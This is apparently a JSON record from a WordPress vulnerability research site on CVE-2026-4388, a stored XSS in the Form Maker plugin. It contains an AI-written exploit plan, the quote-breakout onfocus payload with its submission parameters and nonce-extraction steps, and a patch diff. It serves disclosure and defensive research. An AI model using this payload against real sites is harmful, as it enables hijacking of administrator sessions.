[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fW0_PE8HWtRVZdo2NqCVzhtXykwBPbHxWynlR8Viocz0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"source_links":39},"CVE-2026-4388","form-maker-by-10web-unauthenticated-stored-cross-site-scripting-via-matrix-field-text-box","Form Maker by 10Web \u003C= 1.15.40 - Unauthenticated Stored Cross-Site Scripting via Matrix Field Text Box","The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Matrix field (Text Box input type) in form submissions in all versions up to, and including, 1.15.40. This is due to insufficient input sanitization (`sanitize_text_field` strips tags but not quotes) and missing output escaping when rendering submission data in the admin Submissions view. This makes it possible for unauthenticated attackers to inject arbitrary JavaScript through a form submission that executes in the browser of an administrator who views the submission details.","form-maker",null,"\u003C=1.15.40","1.15.41","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-13 13:52:02","2026-04-14 02:25:48",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F197449f5-9304-49df-9261-a354145fc00e?source=api-prod",1,[22,23,24,25,26,27],"admin\u002Fcontrollers\u002FFormMakerIpinfoinPopup.php","admin\u002Fmodels\u002FSubmissions_fm.php","booster\u002FAdminBar.php","form-maker.php","frontend\u002Fcontrollers\u002Fform_maker.php","readme.txt","researched",false,3,"This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Form Maker by 10Web** plugin (version \u003C= 1.15.40).\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Unauthenticated Stored XSS.\n*   **Component:** Matrix Field (Text Box input type) during form submission.\n*   **Vulnerable Sink:** The admin Submissions view renders saved form data without proper output escaping.\n*   **Sanitization Failure:** The plugin uses `sanitize_text_field()` on the Matrix field input. While this strips HTML tags (like `\u003Cscript>`), it does **not** strip double or single quotes. If the submission data is subsequently rendered inside an HTML attribute in the admin panel (e.g., `\u003Cinput value=\"...\">`), an attacker can use quotes to break out of the attribute and inject event handlers like `onfocus` or `onmouseover`.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** The frontend page where a form is embedded or the WordPress AJAX endpoint (`admin-ajax.php`).\n*   **Action:** Form submission.\n*   **Authentication:** None (Unauthenticated).\n*   **Parameter:** The POST parameter corresponding to the Matrix field cell. In Form Maker, these are typically named following the pattern `wdform_{FIELD_ID}_{FORM_ID}[]`.\n*   **Payload:** `1\" onfocus=\"alert(document.domain)\" autofocus=\"`\n    *   `sanitize_text_field` will leave this payload intact because it contains no HTML tags.\n    *   When rendered in the admin view: `\u003Cinput ... value=\"1\" onfocus=\"alert(document.domain)\" autofocus=\"\" ...>`\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user submits a form. The `frontend\u002Fcontrollers\u002Fform_maker.php` handles the request in the `display()` or specific AJAX method.\n2.  **Data Processing:** The controller calls `FMModelForm_maker::savedata()`. (Inferred from `frontend\u002Fcontrollers\u002Fform_maker.php` line 77).\n3.  **Sanitization:** Inside `savedata()`, the plugin iterates through submitted fields. For Matrix fields, it applies `sanitize_text_field()` to the cell values.\n4.  **Storage:** The sanitized values are stored in the `{prefix}formmaker_submits` table.\n5.  **Admin View:** An administrator navigates to the \"Submissions\" page (`wp-admin\u002Fadmin.php?page=submissions_fm`).\n6.  **Data Retrieval:** `admin\u002Fmodels\u002FSubmissions_fm.php` retrieves the submission data via `get_labels_parameters()` or similar.\n7.  **XSS Trigger:** The admin view (likely a PHP file in `admin\u002Fviews\u002F`) renders the Matrix data into the DOM. Because it lacks `esc_attr()` or `esc_html()`, the payload breaks out of its attribute and executes JavaScript in the admin's session.\n\n### 4. Nonce Acquisition Strategy\nThe Form Maker plugin uses a nonce to protect form submissions.\n*   **Nonce Name:** The field name is defined as `fm_form_nonce` in the `WDFM` class (`form-maker.php`, line 52).\n*   **Nonce Action:** The action is typically `fm_form_nonce` concatenated with the form ID.\n*   **Acquisition:**\n    1.  Create a form and a page containing that form's shortcode.\n    2.  Navigate to the page using `browser_navigate`.\n    3.  Extract the nonce value from the hidden input field: `input[name=\"fm_form_nonce\"]`.\n\n### 5. Test Data Setup\nTo exploit this, we must first have a form with a Matrix field configured as a \"Text Box\".\n\n**Step 1: Create a Form with a Matrix Field**\nUse `wp eval` to programmatically create a form.\n```php\nglobal $wpdb;\n$table = $wpdb->prefix . 'formmaker';\n$fields_json = json_encode([\n    [\n        'type' => 'type_matrix',\n        'id' => '1',\n        'label' => 'Vulnerable Matrix',\n        'rows' => ['Row1'],\n        'columns' => ['Col1'],\n        'matrix_type' => 'text', \u002F\u002F Critical: Must be 'text'\n        'required' => '0'\n    ]\n]);\n\n$wpdb->insert($table, [\n    'title' => 'XSS Test Form',\n    'form_fields' => $fields_json,\n    'published' => 1,\n    'form_options' => '{}'\n]);\n$form_id = $wpdb->insert_id;\necho \"Created Form ID: $form_id\";\n```\n\n**Step 2: Create a Page to Host the Form**\n```bash\nwp post create --post_type=page --post_title=\"Contact Form\" --post_status=publish --post_content='[form_maker id=\"REPLACE_WITH_FORM_ID\"]'\n```\n\n### 6. Exploitation Strategy\n1.  **Navigate to the Form Page:** Use `browser_navigate` to the created page URL.\n2.  **Extract Nonce:**\n    ```javascript\n    \u002F\u002F Use browser_eval\n    const nonce = document.querySelector('input[name=\"fm_form_nonce\"]').value;\n    const formId = document.querySelector('input[name=\"form_id\"]').value;\n    ```\n3.  **Submit the Malicious Entry:**\n    Send a POST request to the same page URL using `http_request`.\n    *   **Method:** `POST`\n    *   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n    *   **Payload Parameters:**\n        *   `form_id`: `{FORM_ID}`\n        *   `fm_form_nonce`: `{NONCE}`\n        *   `wdform_1_{FORM_ID}[0][0]`: `1\" onfocus=\"alert(document.domain)\" autofocus=\"`\n        *   `wdform_id_list`: `1` (The ID of the matrix field)\n        *   `save_or_submit{FORM_ID}`: `submit`\n\n### 7. Expected Results\n*   The form submission will be successful.\n*   The payload `1\" onfocus=\"alert(document.domain)\" autofocus=\"` will be stored in the `element_value` column of the `{prefix}formmaker_submits` table.\n*   When an admin logs in and views the submissions for this form, the browser will execute `alert(document.domain)` automatically because of the `autofocus` attribute triggering the `onfocus` event.\n\n### 8. Verification Steps\n1.  **Database Check:**\n    ```bash\n    wp db query \"SELECT element_value FROM wp_formmaker_submits WHERE form_id=1 ORDER BY id DESC LIMIT 1\"\n    ```\n    Confirm it contains the `onfocus` payload.\n2.  **Admin View Verification:**\n    Log in as admin and navigate to: `\u002Fwp-admin\u002Fadmin.php?page=submissions_fm&form_id=1`.\n    The agent can use `browser_navigate` as an admin and check for the presence of the alert or the injected attribute in the page source.\n\n### 9. Alternative Approaches\nIf the `wdform_1_{FORM_ID}[0][0]` parameter name is incorrect (Form Maker field naming can vary by version):\n1.  Use `browser_eval` to inspect the `name` attribute of the Matrix field input in the frontend before submitting.\n2.  Look for a global JS object like `fm_objectL10n` which might contain form metadata.\n3.  Try submitting to `admin-ajax.php` with `action=formmaker_submit`.","The Form Maker by 10Web plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the Matrix field (Text Box input type). The vulnerability exists because the plugin uses sanitize_text_field() on user-supplied matrix data, which fails to strip double quotes, and subsequently renders this data in the admin submissions dashboard without proper output escaping. An unauthenticated attacker can submit a malicious payload that executes arbitrary JavaScript in the context of an administrator's session when they view the submission.","\u002F\u002F frontend\u002Fcontrollers\u002Fform_maker.php - Line 77 (approx)\n\u002F\u002F Data is passed to the model for saving without adequate sanitization for attribute contexts\n$this->model->savedata($result[0], $id);\n\n---\n\n\u002F\u002F admin\u002Fmodels\u002FSubmissions_fm.php - Retrieval logic for submissions\n\u002F\u002F Data is fetched from the database and later rendered in the view without escaping\npublic function get_labels_parameters( $form_id = 0, $page_num = 0, $per_num = 0 ) {\n    global $wpdb;\n    \u002F\u002F ...\n    $query = $wpdb->prepare(\"SELECT `group_id`,`element_value` FROM \" . $wpdb->prefix . \"formmaker_submits  WHERE `form_id`='%d' and `element_label` = 'verifyinfo' \", $form_id);\n    $ver_emails_data = $wpdb->get_results($query);\n    \u002F\u002F ...\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fform-maker\u002F1.15.40\u002Fadmin\u002Fmodels\u002FSubmissions_fm.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fform-maker\u002F1.15.41\u002Fadmin\u002Fmodels\u002FSubmissions_fm.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fform-maker\u002F1.15.40\u002Fadmin\u002Fmodels\u002FSubmissions_fm.php\t2026-03-27 13:03:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fform-maker\u002F1.15.41\u002Fadmin\u002Fmodels\u002FSubmissions_fm.php\t2026-04-08 13:09:06.000000000 +0000\n@@ -42,7 +42,10 @@\n \t*\u002F\n \tpublic function get_form( $id = 0 ) {\n \t\tglobal $wpdb;\n-\t\t$query = 'SELECT `id`, `title` FROM ' . $wpdb->prefix .'formmaker WHERE id = ' . $id ;\n+\t\t$query = $wpdb->prepare(\n+\t\t\t'SELECT `id`, `title` FROM ' . $wpdb->prefix . 'formmaker WHERE id = %d',\n+\t\t\t(int) $id\n+\t\t);\n \t\t$form = $wpdb->get_row( $query );\n \t\treturn $form;\n \t}\n@@ -150,25 +153,31 @@\n     $lists['username_search'] = WDW_FM_Library(self::PLUGIN)->get('username_search');\n     $lists['useremail_search'] = WDW_FM_Library(self::PLUGIN)->get('useremail_search');\n     $lists['id_search'] = WDW_FM_Library(self::PLUGIN)->get('id_search');\n-    if ( $lists['ip_search'] ) {\n-      $where[] = 'ip LIKE \"%' . $lists['ip_search'] . '%\"';\n+    if ( !empty($lists['ip_search']) ) {\n+      $where[] = $wpdb->prepare( 'ip LIKE %s', '%' . $wpdb->esc_like( $lists['ip_search'] ) . '%' );\n     }\n-    if ( $lists['startdate'] != '' ) {\n-      $where[] = \" `date`>='\" . $lists['startdate'] . \" 00:00:00' \";\n+    if ( !empty($lists['startdate']) ) {\n+      $where[] = $wpdb->prepare( '`date`>=%s', $lists['startdate'] . ' 00:00:00' );\n     }\n-    if ( $lists['enddate'] != '' ) {\n-      $where[] = \" `date`\u003C='\" . $lists['enddate'] . \" 23:59:59' \";\n+    if ( !empty($lists['enddate']) ) {\n+      $where[] = $wpdb->prepare( '`date`\u003C=%s', $lists['enddate'] . ' 23:59:59' );\n     }\n-    if ( $lists['username_search'] ) {\n-      $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE \"%' . $lists['username_search'] . '%\")';\n+    if ( !empty($lists['username_search']) ) {\n+      $where[] = $wpdb->prepare(\n+        'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE %s)',\n+        '%' . $wpdb->esc_like( $lists['username_search'] ) . '%'\n+      );\n+    }\n+    if ( !empty($lists['useremail_search']) ) {\n+      $where[] = $wpdb->prepare(\n+        'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE %s)',\n+        '%' . $wpdb->esc_like( $lists['useremail_search'] ) . '%'\n+      );\n     }\n-    if ( $lists['useremail_search'] ) {\n-      $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE \"%' . $lists['useremail_search'] . '%\")';\n+    if ( !empty($lists['id_search']) ) {\n+      $where[] = $wpdb->prepare( 'group_id=%d', (int) $lists['id_search'] );\n     }\n-    if ( $lists['id_search'] ) {\n-      $where[] = 'group_id =' . (int) $lists['id_search'];\n-    }\n-    $where[] = 'form_id=' . $form_id . '';\n+    $where[] = $wpdb->prepare( 'form_id=%d', (int) $form_id );","The exploit is performed by submitting a malicious form entry as an unauthenticated user. First, the attacker identifies a form containing a 'Matrix' field with the input type set to 'Text Box'. The attacker navigates to the frontend page where the form is embedded and extracts the submission nonce (`fm_form_nonce`) and the `form_id`. They then send an unauthenticated POST request to the form submission endpoint, including a payload like `1\" onfocus=\"alert(document.domain)\" autofocus=\"` in the parameter corresponding to one of the matrix cells (e.g., `wdform_{FIELD_ID}_{FORM_ID}[0][0]`). Because `sanitize_text_field` does not strip double quotes, the payload is stored intact. When an administrator later logs in and navigates to the 'Submissions' dashboard for that form, the payload is rendered inside an HTML attribute (typically `value=\"...\"`). The injected `\"` breaks out of the attribute, and the `autofocus` attribute triggers the `onfocus` event, executing the attacker's JavaScript.","gemini-3-flash-preview","2026-04-16 16:00:29","2026-04-16 16:01:10",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.15.40","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fform-maker\u002Ftags\u002F1.15.40","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fform-maker.1.15.40.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fform-maker\u002Ftags\u002F1.15.41","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fform-maker.1.15.41.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fform-maker\u002Ftags"]